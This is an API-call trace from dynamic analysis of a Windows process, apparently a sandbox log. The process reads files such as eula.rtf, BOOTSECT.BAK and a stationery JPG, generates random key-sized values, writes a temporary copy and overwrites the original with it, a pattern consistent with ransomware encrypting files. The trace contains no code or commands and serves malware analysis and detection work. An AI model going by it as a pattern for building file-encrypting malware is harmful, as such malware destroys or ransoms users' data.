	[0237.209] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c")) returned 1
	[0237.366] SetEvent (hEvent=0xd4) returned 1
	[0237.367] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0237.367] VirtualAlloc (lpAddress=0xc000350000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000350000
	[0237.368] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0237.368] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.368] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5bf4 | out: lpMode=0xc0001a5bf4) returned 0
	[0237.368] GetFileType (hFile=0x198) returned 0x1
	[0237.368] GetFileType (hFile=0x198) returned 0x1
	[0237.369] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc0001a5c44 | out: lpFileInformation=0xc0001a5c44) returned 1
	[0237.369] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc0001a5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a5c28) returned 1
	[0237.369] VirtualAlloc (lpAddress=0xc000352000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000352000
	[0237.371] ReadFile (in: hFile=0x198, lpBuffer=0xc000352000, nNumberOfBytesToRead=0x19c3, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000352000*, lpNumberOfBytesRead=0xc0001a5b04*=0x17c3, lpOverlapped=0x0) returned 1
	[0237.374] ReadFile (in: hFile=0x198, lpBuffer=0xc0003537c3, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003537c3*, lpNumberOfBytesRead=0xc0001a5b04*=0x0, lpOverlapped=0x0) returned 1
	[0237.374] CloseHandle (hObject=0x198) returned 1
	[0237.375] VirtualAlloc (lpAddress=0xc00035c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00035c000
	[0237.375] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000093f20 | out: pbBuffer=0xc000093f20) returned 1
	[0237.375] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000959a0 | out: pbBuffer=0xc0000959a0) returned 1
	[0237.375] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000083701 | out: pbBuffer=0xc000083701) returned 1
	[0237.376] VirtualAlloc (lpAddress=0xc00035e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00035e000
	[0237.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.540] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5c04 | out: lpMode=0xc0001a5c04) returned 0
	[0237.541] GetFileType (hFile=0x198) returned 0x1
	[0237.541] WriteFile (in: hFile=0x198, lpBuffer=0xc00035e000*, nNumberOfBytesToWrite=0x18c3, lpNumberOfBytesWritten=0xc0001a5bec, lpOverlapped=0x0 | out: lpBuffer=0xc00035e000*, lpNumberOfBytesWritten=0xc0001a5bec*=0x18c3, lpOverlapped=0x0) returned 1
	[0237.543] CloseHandle (hObject=0x198) returned 1
	[0237.589] SetEvent (hEvent=0x124) returned 1
	[0237.589] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.591] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0237.591] GetFileType (hFile=0x198) returned 0x1
	[0237.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.592] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0237.592] GetFileType (hFile=0x19c) returned 0x1
	[0237.592] VirtualAlloc (lpAddress=0xc0003bc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003bc000
	[0237.592] ReadFile (in: hFile=0x19c, lpBuffer=0xc0003bc000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003bc000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x18c3, lpOverlapped=0x0) returned 1
	[0237.593] WriteFile (in: hFile=0x198, lpBuffer=0xc0003bc000*, nNumberOfBytesToWrite=0x18c3, lpNumberOfBytesWritten=0xc0001a5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0003bc000*, lpNumberOfBytesWritten=0xc0001a5b74*=0x18c3, lpOverlapped=0x0) returned 1
	[0237.596] ReadFile (in: hFile=0x19c, lpBuffer=0xc0003bc000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003bc000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.596] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153")) returned 0
	[0237.596] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153")) returned 0
	[0237.597] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153")) returned 0x20
	[0237.597] CloseHandle (hObject=0x19c) returned 1
	[0237.598] CloseHandle (hObject=0x198) returned 1
	[0237.598] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153")) returned 1
	[0237.719] SetEvent (hEvent=0x190) returned 1
	[0237.719] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0237.719] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x87, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0237.719] VirtualAlloc (lpAddress=0xc0003cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003cc000
	[0237.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.720] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5bf4 | out: lpMode=0xc0001a5bf4) returned 0
	[0237.720] GetFileType (hFile=0x198) returned 0x1
	[0237.720] GetFileType (hFile=0x198) returned 0x1
	[0237.720] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc0001a5c44 | out: lpFileInformation=0xc0001a5c44) returned 1
	[0237.721] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc0001a5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a5c28) returned 1
	[0237.721] VirtualAlloc (lpAddress=0xc0003ce000, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ce000
	[0237.721] ReadFile (in: hFile=0x198, lpBuffer=0xc0003ce000, nNumberOfBytesToRead=0x41f6, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003ce000*, lpNumberOfBytesRead=0xc0001a5b04*=0x3ff6, lpOverlapped=0x0) returned 1
	[0237.724] ReadFile (in: hFile=0x198, lpBuffer=0xc0003d1ff6, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003d1ff6*, lpNumberOfBytesRead=0xc0001a5b04*=0x0, lpOverlapped=0x0) returned 1
	[0237.724] CloseHandle (hObject=0x198) returned 1
	[0237.725] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00028ec40 | out: pbBuffer=0xc00028ec40) returned 1
	[0237.725] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c910 | out: pbBuffer=0xc00028c910) returned 1
	[0237.725] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8b01 | out: pbBuffer=0xc0002a8b01) returned 1
	[0237.726] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.928] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5c04 | out: lpMode=0xc0001a5c04) returned 0
	[0237.928] GetFileType (hFile=0x198) returned 0x1
	[0237.928] WriteFile (in: hFile=0x198, lpBuffer=0xc0003d2800*, nNumberOfBytesToWrite=0x40f6, lpNumberOfBytesWritten=0xc0001a5bec, lpOverlapped=0x0 | out: lpBuffer=0xc0003d2800*, lpNumberOfBytesWritten=0xc0001a5bec*=0x40f6, lpOverlapped=0x0) returned 1
	[0237.931] CloseHandle (hObject=0x198) returned 1
	[0237.934] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.973] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0237.973] GetFileType (hFile=0x198) returned 0x1
	[0237.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0237.973] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0237.973] GetFileType (hFile=0x1a8) returned 0x1
	[0237.973] VirtualAlloc (lpAddress=0xc000272000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000272000
	[0237.975] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000272000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x40f6, lpOverlapped=0x0) returned 1
	[0237.975] WriteFile (in: hFile=0x198, lpBuffer=0xc000272000*, nNumberOfBytesToWrite=0x40f6, lpNumberOfBytesWritten=0xc0001a5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesWritten=0xc0001a5b74*=0x40f6, lpOverlapped=0x0) returned 1
	[0237.978] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000272000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.979] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8")) returned 0
	[0237.979] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8")) returned 0
	[0237.979] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8")) returned 0x20
	[0237.979] CloseHandle (hObject=0x1a8) returned 1
	[0237.979] CloseHandle (hObject=0x198) returned 1
	[0237.998] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8")) returned 1
	[0238.000] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.042] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0238.042] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0238.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0238.042] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dbf4 | out: lpMode=0xc00019dbf4) returned 0
	[0238.043] GetFileType (hFile=0x198) returned 0x1
	[0238.043] GetFileType (hFile=0x198) returned 0x1
	[0238.043] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc00019dc44 | out: lpFileInformation=0xc00019dc44) returned 1
	[0238.043] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc00019dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00019dc28) returned 1
	[0238.043] VirtualAlloc (lpAddress=0xc000488000, dwSize=0x1a000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000488000
	[0238.044] ReadFile (in: hFile=0x198, lpBuffer=0xc000488000, nNumberOfBytesToRead=0x19988, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc000488000*, lpNumberOfBytesRead=0xc00019db04*=0x19788, lpOverlapped=0x0) returned 1
	[0238.052] ReadFile (in: hFile=0x198, lpBuffer=0xc0004a1788, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc0004a1788*, lpNumberOfBytesRead=0xc00019db04*=0x0, lpOverlapped=0x0) returned 1
	[0238.053] CloseHandle (hObject=0x198) returned 1
	[0238.053] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202ba0 | out: pbBuffer=0xc000202ba0) returned 1
	[0238.053] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a6d0 | out: pbBuffer=0xc00021a6d0) returned 1
	[0238.053] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c901 | out: pbBuffer=0xc00023c901) returned 1
	[0238.053] VirtualAlloc (lpAddress=0xc00027c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027c000
	[0238.054] VirtualAlloc (lpAddress=0xc0004a2000, dwSize=0x1a000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004a2000
	[0238.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0238.134] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dc04 | out: lpMode=0xc00019dc04) returned 0
	[0238.134] GetFileType (hFile=0x198) returned 0x1
	[0238.135] VirtualAlloc (lpAddress=0xc00027e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027e000
	[0238.136] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0238.137] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0238.137] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0238.137] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0001a5bf4 | out: lpMode=0xc0001a5bf4) returned 0
	[0238.138] GetFileType (hFile=0x1a8) returned 0x1
	[0238.138] GetFileType (hFile=0x1a8) returned 0x1
	[0238.138] GetFileInformationByHandle (in: hFile=0x1a8, lpFileInformation=0xc0001a5c44 | out: lpFileInformation=0xc0001a5c44) returned 1
	[0238.138] GetFileInformationByHandleEx (in: hFile=0x1a8, FileInformationClass=0x9, lpFileInformation=0xc0001a5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a5c28) returned 1
	[0238.139] VirtualAlloc (lpAddress=0xc0004bc000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004bc000
	[0238.140] SetEvent (hEvent=0x1a0) returned 1
	[0238.140] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.349] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.450] SwitchToThread () returned 1
	[0238.466] VirtualFree (lpAddress=0xc0004a0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.467] PostQueuedCompletionStatus (CompletionPort=0x15c, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1
	[0238.467] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.515] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.598] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.782] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.793] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.867] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.969] SetEvent (hEvent=0x1a0) returned 1
	[0238.969] SetEvent (hEvent=0xe4) returned 1
	[0238.969] VirtualFree (lpAddress=0xc00048a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.970] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.999] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.014] VirtualFree (lpAddress=0xc000480000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.014] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.110] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.212] SetEvent (hEvent=0xe4) returned 1
	[0239.212] SetEvent (hEvent=0x1a0) returned 1
	[0239.212] VirtualFree (lpAddress=0xc00041c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.212] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.289] SetEvent (hEvent=0xe4) returned 1
	[0239.289] SetEvent (hEvent=0x1a0) returned 1
	[0239.290] VirtualFree (lpAddress=0xc000418000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.290] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.306] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.352] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.493] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.640] SetEvent (hEvent=0x1a0) returned 1
	[0239.640] VirtualFree (lpAddress=0xc00040c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.640] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.645] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.651] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.767] SetEvent (hEvent=0x190) returned 1
	[0239.767] VirtualFree (lpAddress=0xc000402000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.769] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.888] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.945] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0239.987] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.140] SetEvent (hEvent=0x190) returned 1
	[0240.140] VirtualFree (lpAddress=0xc0003d4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.140] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.144] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.325] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.393] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.493] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.610] VirtualFree (lpAddress=0xc0003c8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.610] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.876] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0240.995] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.123] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.189] SetEvent (hEvent=0xfc) returned 1
	[0241.189] VirtualFree (lpAddress=0xc0003ba000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.190] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.546] SetEvent (hEvent=0xfc) returned 1
	[0241.546] VirtualFree (lpAddress=0xc0003ae000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.547] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.618] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.719] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.771] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0) returned 0
	[0241.771] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0) returned 0
	[0241.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0241.771] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004d1bf4 | out: lpMode=0xc0004d1bf4) returned 0
	[0241.772] GetFileType (hFile=0x120) returned 0x1
	[0241.772] GetFileType (hFile=0x120) returned 0x1
	[0241.772] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0004d1c44 | out: lpFileInformation=0xc0004d1c44) returned 1
	[0241.772] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0004d1c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0004d1c28) returned 1
	[0241.772] ReadFile (in: hFile=0x120, lpBuffer=0xc000122000, nNumberOfBytesToRead=0x1b06, lpNumberOfBytesRead=0xc0004d1b04, lpOverlapped=0x0 | out: lpBuffer=0xc000122000*, lpNumberOfBytesRead=0xc0004d1b04*=0x1906, lpOverlapped=0x0) returned 1
	[0241.789] ReadFile (in: hFile=0x120, lpBuffer=0xc000123906, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0004d1b04, lpOverlapped=0x0 | out: lpBuffer=0xc000123906*, lpNumberOfBytesRead=0xc0004d1b04*=0x0, lpOverlapped=0x0) returned 1
	[0241.790] CloseHandle (hObject=0x120) returned 1
	[0241.790] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0003f41c0 | out: pbBuffer=0xc0003f41c0) returned 1
	[0241.790] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000942f0 | out: pbBuffer=0xc0000942f0) returned 1
	[0241.790] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082101 | out: pbBuffer=0xc000082101) returned 1
